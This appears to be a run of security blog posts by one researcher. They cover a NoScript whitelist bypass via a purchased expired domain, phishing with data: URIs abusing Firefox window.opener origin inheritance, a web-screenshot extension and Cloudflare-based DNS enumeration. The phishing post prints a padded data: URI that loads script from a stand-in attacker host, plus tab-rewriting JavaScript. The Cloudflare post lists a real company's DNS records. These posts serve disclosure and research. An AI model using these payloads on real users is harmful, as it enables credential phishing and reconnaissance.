Recently I took a stab at auditing a popular Firefox addon NoScript, which is fairly well known among the netsec and privacy community due to its bold functionality of blocking active content such as Flash, Java, and JavaScript on all sites by default. My goal was simply to bypass the addon when it’s been installed with the default configuration. This is partially because so many people put a lot of trust into NoScript and also because I hear a lot of people snubbing exploits because “I use NoScript when I browser the internet and am therefore safe from all web exploits!“. This attitude is annoying so having a bypass to pull people back into sanity sounded nice.

So, where to start?

As it turns out “NoScript” is something of a misnomer due to the addon shipping with a whitelist that explicitly allows a set of CDNs/popular sites. When you install NoScript you are explicitly trusting these sites to execute Java/Flash/JavaScript even when NoScript is set to forbid scripts globally.

So what is this list? You can check it yourself by going to NoScript > Options > Whitelist

The list includes the following:

addons.mozilla.org
afx.ms
ajax.aspnetcdn.com
bootstrapcdn.com
cdnjs.cloudflare.com
code.jquery.com
firstdata.com
firstdata.lv
flashgot.net
gfx.ms
google.com
googleapis.com
googlevideo.com
gstatic.com
hotmail.com
informaction.com
live.com
live.net
maone.net
mootools.net
mozilla.net
msn.com
noscript.net
outlook.com
passport.com
passport.net
passportimages.com
paypal.com
paypalobjects.com
persona.org
prototypejs.org
securecode.com
securesuite.net
sfx.ms
tinymce.cachefly.net
vjs.zendcdn.net
wlxrs.com
yahoo.com
yahooapis.com
yandex.st
yimg.com
youtube.com
ytimg.com
about:blank
http://afx.ms
http://bootstrapcdn.com
http://firstdata.com
http://firstdata.lv
http://flashgot.net
http://gfx.ms
http://google.com
http://googleapis.com
http://googlevideo.com
http://gstatic.com
http://hotmail.com
http://informaction.com
http://live.com
http://live.net
http://maone.net
http://mootools.net
http://mozilla.net
http://msn.com
http://noscript.net
http://outlook.com
http://passport.com
http://passport.net
http://passportimages.com
http://paypal.com
http://paypalobjects.com
http://persona.org
http://prototypejs.org
http://securecode.com
http://securesuite.net
http://sfx.ms
http://wlxrs.com
http://yahoo.com
http://yahooapis.com
http://yandex.st
http://yimg.com
http://youtube.com
http://ytimg.com
https://afx.ms
https://bootstrapcdn.com
https://firstdata.com
https://firstdata.lv
https://flashgot.net
https://gfx.ms
https://google.com
https://googleapis.com
https://googlevideo.com
https://gstatic.com
https://hotmail.com
https://informaction.com
https://live.com
https://live.net
https://maone.net
https://mootools.net
https://mozilla.net
https://msn.com
https://noscript.net
https://outlook.com
https://passport.com
https://passport.net
https://passportimages.com
https://paypal.com
https://paypalobjects.com
https://persona.org
https://prototypejs.org
https://securecode.com
https://securesuite.net
https://sfx.ms
https://wlxrs.com
https://yahoo.com
https://yahooapis.com
https://yandex.st
https://yimg.com
https://youtube.com
https://ytimg.com

Quite the list!

But it’s not just these domains, it’s also the subdomains of any site without a preceding “http(s)://”.

For example, when you add example.com to your whitelist did you also know that you’re trusting every subdomain of that site as well? It’s not very obvious (it wasn’t to me!).

So thirdparty.example.com is completely trusted as well, even though you may have only meant the main example.com website. This greatly expands the default trust surface that you opt-in to when you install NoScript.

My plan was to enumerate all the subdomains of each whitelisted domain name and try to gain stored XSS on just one of them. However, my venture was cut short when I performed an NS query for each domain:

mandatory> dig NS zendcdn.net

; <<>> DiG 9.8.3-P1 <<>> NS zendcdn.net
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 21164
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;zendcdn.net.		IN	NS

;; AUTHORITY SECTION:
net.			899	IN	SOA	a.gtld-servers.net. nstld.verisign-grs.com. 1434149433 1800 900 604800 86400

;; Query time: 157 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Fri Jun 12 15:50:54 2015
;; MSG SIZE  rcvd: 106

Wait a minute, an NXDOMAIN error? The domain doesn’t exist?

zend_cdn_available

Apparently not.

I still thought that it can’t be that easy so I bought the domain for $10.69 (what a bargain) and then pointed the subdomain to a small JavaScript payload. Sure enough:

2015-06-12_14-59-59

NoScript completely bypassed!

That was easy. But why in the world is this domain even in the whitelist anyways? As it turns out it’s due to a request by a user in this NoScript forum thread:

https://forums.informaction.com/viewtopic.php?f=10&t=17066

The user suggests a few popular CDNs following by the expired domain that I bought. Apparently zendcdn.net didn’t pass the test of time!

In fact, if you Google “zendcdn.net” the first result is literally the thread itself:

zendcdn_wat

Totally legit.

While the journey was cut short due to early success it is interesting to think about. Do you trust every site in NoScript’s whitelist? What about their subdomains? If any domain or subdomain has stored XSS or some other vulnerability that allows an attacker to store arbitrary content on that server – NoScript is essentially useless! You are not only trusting these sites to be non-malicious you’re trusting them to be secure. Can you say that about every site in the default whitelist?

So, I encourage every reading this to please purge your whitelist. Remove everything you don’t trust! It’s fine to trust a site but make sure you understand what you’re doing. Keep in mind that when you trust example.com you’re actually trusting *.example.com (consider whitelisting http://example.com instead which doesn’t implicitly trust subdomains). Any stored-XSS on that site or its subdomains would allow an attacker to embed a JavaScript-based exploit to attack users with. It is my opinion that universal bypasses for NoScript should actually be quite easy to find since the default whitelist exposes so much surface area.

I contacted Giorgio Maone about the vulnerability and the response time was incredibly quick. Within hours he had a patch out on his site and less then two days later the patch was pushed to all NoScript users. This is by far some of the fastest response and patch times I’ve ever seen – so hats off to him for that! Please note: This stray domain is no longer in the default whitelist for NoScript users.

Until next time,

-mandatory

Hey guys, I’m posting here just for record keeping but a vulnerability I found in the Android app AirDroid has been patched and now been made public. See this blog post for more:

http://www.bishopfox.com/blog/2015/04/airdroid-how-much-do-your-apps-know/

Technical Advisory:

http://www.bishopfox.com/news/2015/04/airdroid-web-application-authentication-flaw/

Video of exploit in action:

Phishing with data: URIs is not a new idea. The concept is relatively simple, taking advantage of many user’s inexperience with how data: URIs function in order to trick them into entering credentials into a phishing page. We’ve seen this in the wild against Gmail users for example, and we’ve even seen some cool attacks against Chrome with really long data: URIs. This post will explore how we can craft a data: URI to trick even more experienced users.

Before we start, for those new to the concept, data: URIs function like so:

data:[<MIME-type>][;charset=<encoding>][;base64],<data>

Basically, you can specify an entire file in the URI itself:

data:text/html,<h1>Neat!</h1>

You specify the MIME type, whether or not you want to use base64 encoding (for binary files) and of course the data you want to represent.

For example, if you right click this icon: you’ll see that the source of the image is a lengthy data URI:

data:image/vndmicrosofticon;base64,AAABAAEAEBAAAAAAIABoBAAAFgAAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AZWVlf91dXX/dXV1/3V1df91dXX/dXV1/3V1df91dXX/dXV1/5SUlP////8B////Af///wH///8B////Af///wF3d3f/d3d3/3d3d/93d3f/d3d3/3d3d/93d3f/d3d3/3d3d/93d3f/////Af///wH///8B////Af///wH///8Be3t7/3t7e/97e3v/e3t7/3t7e/97e3v/e3t7/3t7e/97e3v/e3t7/////wH///8B////Af///wH///8B////AX5+fv9+fn7/fn5+/35+fv9+fn7/fn5+/35+fv9+fn7/fn5+/35+fv////8B////Af///wH///8B////Af///wGCgoL/goKC/4KCgv+CgoL/goKC/4KCgv+CgoL/goKC/4KCgv+CgoL/////Af///wH///8B////Af///wH///8BhoaG/4aGhv+Ghob/hoaG/4aGhv+Ghob/hoaG/4aGhv+Ghob/hoaG/////wH///8B////Af///wH///8B////AaWlpf+Kior/ioqK/4qKiv+Kior/ioqK/4qKiv+Kior/ioqK/6Wlpf////8B////Af///wH///8B////Af///wH///8Bjo6O/46Ojv////8B////Af///wH///8Bjo6O/46Ojv////8B////Af///wH///8B////Af///wH///8B////AZeXl/+RkZH/////Af///wH///8B////AZGRkf+Wlpb/////Af///wH///8B////Af///wH///8B////Af///wG2trb/lJSU/7Kysv////8B////AbKysv+UlJT/tra2/////wH///8B////Af///wH///8B////Af///wH///8B7+/vI52dnf+Xl5f/l5eX/5eXl/+Xl5f/nZ2d/+/v7yP///8B////Af///wH///8B////Af///wH///8B////Af///wH///8Bubm5/56env+enp7/ubm5/////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//w==

It’s quite a versatile URI scheme.

Phishing With Data URIs

If you’re familiar with the data: URI format, it’s probably a fair assumption that you are either a developer or someone who is fairly knowledgable about the web in general. However, the same assumption couldn’t be made for most web users.

What would a casual web user say about the following URI? What website are they on?

The above URI looks to be https://login.yahoo.com/, but it’s actually just another data: URI (with https://login.yahoo.com/ just being some content). The full URI for the above is actually the following:

data:text/html,https://login.yahoo.com/[ LARGE AMOUNT OF SPACES ]<script src="http://attacker.hack/opener/mask.js"></script>

The trick, of course, is the trailing

For a better comparison, let’s view them side by side:

Upon close examination it doesn’t hold up very well, the user may notice something is amiss but they’ve been trained to inspect the “domain” portion, which appears to be correct.

For those unimpressed with the above phishing scheme, we can take it up a notch. In Firefox, for example, we can construct a page such as the following to phish unsuspecting users:

That looks quite a bit better doesn’t it? Let’s look at that a bit closer:

This data: URI is even more deceptive due to abuse of Firefox-specific functionality (read: probably a bug).

Unlike the previous URI phishing, the full above URI is just:

data:,//login.yahoo.com

No spacing trickery involved, but how?

This is made possible due to Firefox’s unique behavior when changing a window.opener.location reference to a data: URI. Instead of nulling the origin, the data: URI inherits the origin of the site that modifies the window.opener.location reference. So if a site such as “http://attacker.com/” sets window.opener.location to a data: URI, the new origin for the window.opener will be “http://attacker.com/”.

The scenario is laid out like this:

  1. User clicks on an “http://attacker.com/” link from a third party site “http://example.com/” and a new window/tab is opened.

  2. The newly opened “http://attacker.com/” page now has a window.opener reference to the “http://example.com/” window and can change the location of the window by executing the following JavaScript:

window.opener.location = "data:,<script>alert(document.domain)</script>";

Now the tab previously containing “http://example.com” has a URI of “data:,<script>alert(1)</script>”, and a JavaScript alert prompt is spawned showing the current domain is “attacker.com” despite being on a data: URI.

  1. Since both tabs now have the same origin (http://attacker.com/) they can modify each other’s DOM freely. So the newly opened tab could execute the following JavaScript without any same-origin policy restrictions:
window.opener.document.body.innerHTML = "<h1>Modified DOM</h1>";

Best of all the data: URI remains unchanged! So we can start off with a data URI like “data:,//login.yahoo.com/” and later modify the HTML to mimic the actually Yahoo login page!

This style of origin inheritance for data: URIs is specific only to Firefox. Chrome blocks data: URIs from performing any operations on frames/window.opener references with a generic “SecurityError”.

Proof of Concept

To demonstrate this method of phishing I’ve constructed a proof of concept for both Chrome and Firefox, please note that the credentials entered into these pages aren’t ever collected (but don’t take my word for it!):

When on an assessment that involves a very large number of IP addresses it can often be hard to determine which hosts to go after. As a web hacker at heart I’m often primarily interested in the web services running on the target network. Default credentials on web administration panels are basically guaranteed given enough IPs, but how can I quickly identify which web service are interesting?

One tool I’ve used is EyeWitness, which will use a headless instance of Ghost.py to take screenshots of web services. This is nice because there’s no browser involved but I’ve had lots of problems with it. For one, you can’t see things like Flash or Java because Ghost.py doesn’t support it. It also has the bad habit of segfaulting in the middle of a scan which is very frustrating when you’ve left it overnight. While I’m certainly not bashing the tool (many of the bugs are probably the fault of Ghost.py anyways), I felt that a better solution could be created by using a full browser controlled by a custom extension.

After reading the Chrome extension API and lots of Stackoverflow posts I created wmap.

wmap

wmap is a Chrome extension written mostly in JavaScript which uses the Chrome browser to generate HTML screenshot reports of web services. To use it, just enter in a scan name and give it a list of URL(s) and/or an Nmap scan XML and click “Start Scan”. You can also adjust how long the script should wait for pages to load via the “Timeout” field and how long to wait before taking a screenshot after the page loads with “Screenshot Delay”. With built-in Nmap support the tool can automatically use the enumerated hostnames in the URI(s). Finally, the tool also has support for fullscreen screenshots if larger screenshots are needed.

The tool generates reports similar to the following image:

2014-12-27_17-49-47

In addition to screenshots, the report also contains the URI, title, non-HTTPOnly cookies, and HTML of the resulting pages.

Click Here for a Sample Report

Available for install at the Chrome store, check it out:

https://chrome.google.com/webstore/detail/wmap/pflahkdjlekaeehbenhpkpipgkbbdbbo

If you find any bugs or have feature ideas, please let me know!

Probably the cloud everyone is talking about

Probably the cloud everyone is talking about

Enumeration of DNS data is nothing new. Usually this can be accomplished through a combination of Google Dorking, DNS querying, using a tool like SubBrute to bruteforce subdomains, or perhaps DNS globe transfers are enabled. However, Cloudflare, a popular CDN and DDoS mitigation service also has a very large internal database of DNS data waiting to be mined. The best part is, anyone can query this data by just attempting to setup the target domain using Cloudflare.

As an example, we’ll use “disney.com” to demonstrate how we can enumerate the DNS data of a target domain.

Just create a Cloudflare account and add “disney.com” as your site that you wish to set up:

Selection_115

 

Wait until they’re done “setting up” the domain…

Selection_116

and click continue.

Now Cloudflare will return a list of DNS data it’s found to be associated with your site:

Selection_117

Super easy!

If only there was some sort of tool for collecting this information…

mandatory@mandatorys-box /t/cloudflare_enum> ./cloudflare_enum.py [email protected] Testing1 disney.com

            
                                                     `..--------..`                               
                                                 .-:///::------::///:.`                           
                                              `-//:-.`````````````.-://:.`    `   `               
                                            .://-.```````````````````.-://-`  :  `-   .           
                                          `-//:.........................-://. /. -: `:`  ``       
                                         `://--------:::://////:::--------://-::.::`:- .:.        
                              ``.---..` `///::::::///////////////////:::::::///::::::--:.`.-.     
                            .://::::///::///::///////////////////////////:::///:-----::--:-`  `    
                          `:/:-...--:://////////////////////////////////////////----------.--.`    
                         `:/:..-:://////////////////////////////////////////////-----------.````    
                         .//-::////////////////////////////////////:::::////////-...--------...`    
                         -/////////////////////////////////////////////::::----:. `.-::::::-..``    
                    ``.--:////////////////////////////////////////////////::-..```-///::::///:-`    
                 `.:///::::://////////////////////////////////////:::::::::::::::-----......-:/:.    
               `-//:-----::::://///////////////////////////////:///////////////////:-::::---..-//:`    
              `:/:---://+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++//+++//::--//:    
             `//:-/+oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo+++oooo+//://.    
             :///ossssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssosssssso+//:    
            `//+sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss+/-    
            `//+ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo+++++/.    
             ``````````````````````````````````````````````````````````````````````````````````````     
                                                             Cloudflare DNS Enumeration Tool V1.0
                                                                                    By mandatory
        
[ STATUS ] Logging in to Cloudflare...
[ SUCCESS ] Login was successful!
[ STATUS ] Adding domain to Cloudflare...
[ SUCCESS ] Querying Cloudflare DNS archives...
A: disney.com -> 199.181.132.249
A: api.disney.com -> 96.45.49.200
A: app.disney.com -> 208.218.3.17
A: apps.disney.com -> 199.181.132.250
A: archive.disney.com -> 198.105.199.57
A: archives.disney.com -> 199.181.132.250
A: data.disney.com -> 10.190.71.248
A: feeds.disney.com -> 198.105.197.192
A: home.disney.com -> 199.181.132.250
A: huey11.disney.com -> 192.195.66.12
A: huey.disney.com -> 204.128.192.10
A: localhost.disney.com -> 127.0.0.1
A: louie.disney.com -> 204.128.192.30
A: mail2.disney.com -> 204.128.192.16
A: mail.disney.com -> 204.128.192.15
A: m.disney.com -> 199.181.132.250
A: mx1.disney.com -> 192.195.66.26
A: mx1.disney.com -> 204.128.192.17
A: mx2.disney.com -> 192.195.66.28
A: mx2.disney.com -> 204.128.192.36
A: services.disney.com -> 204.202.143.170
A: services.disney.com -> 204.202.143.171
A: webcache.disney.com -> 204.128.192.55
A: webcast.disney.com -> 207.177.177.41
A: www1.disney.com -> 199.181.132.250
A: www2.disney.com -> 199.181.132.250
CNAME: code.disney.com -> matterhorn.disney.com
CNAME: help.disney.com -> help.disney.com.00di0000000dwy9eai.live.siteforce.com
CNAME: matterhorn.disney.com -> matterhorn.edgesuite.net
CNAME: news.disney.com -> louie.disney.com
CNAME: ns1.disney.com -> huey.disney.com
CNAME: ns2.disney.com -> huey11.disney.com
CNAME: ns.disney.com -> huey.disney.com
CNAME: support.disney.com -> matterhorn.disney.com
CNAME: video.disney.com -> matterhorn.disney.com
CNAME: www.disney.com -> disney.com
MX: disney.com -> cluster6a.us.messagelabs.com
MX: disney.com -> cluster6.us.messagelabs.com
SRV: _xmpp-server._tcp.disney.com -> 0	5269	xmpp.disney.com
TXT: disney.com -> MS=ms33999579
TXT: disney.com -> NPDN6e50Sn3r5H6cs+y5zUw+bFbBu9BMeBRo8whYYHJXvU43YAz+BLxj0yVT1KJQhnbrG6ix57LzdcQry6eYyQ==
TXT: disney.com -> v=spf1 mx ip4:204.128.192.17 ip4:204.128.192.36 ip4:204.128.192.43 ip4:192.195.66.26 ip4:192.195.66.28 ip4:192.195.66.36 -all
[ STATUS ] Deleting domain from account for cleanup...
[ STATUS ] Deleted the domain from Cloudflare account
[ STATUS ] Spreadsheet created at /tmp/cloudflare_enum/disney_com.csv
mandatory@mandatorys-box /t/cloudflare_enum>

cloudflare_enum allows quick querying of Cloudflare DNS information (for any sites that are not blacklisted or otherwise). The syntax is simple, you specify your Cloudflare username/password and the domain you wish to get DNS information on. On top of printing out the DNS information it will automatically create a spreadsheet of the data for later use. Easy to use and easy to add to your enumeration tool belt!

Click here for the Github

As a side note, thanks to my coworker for showing me this Cloudflare trick.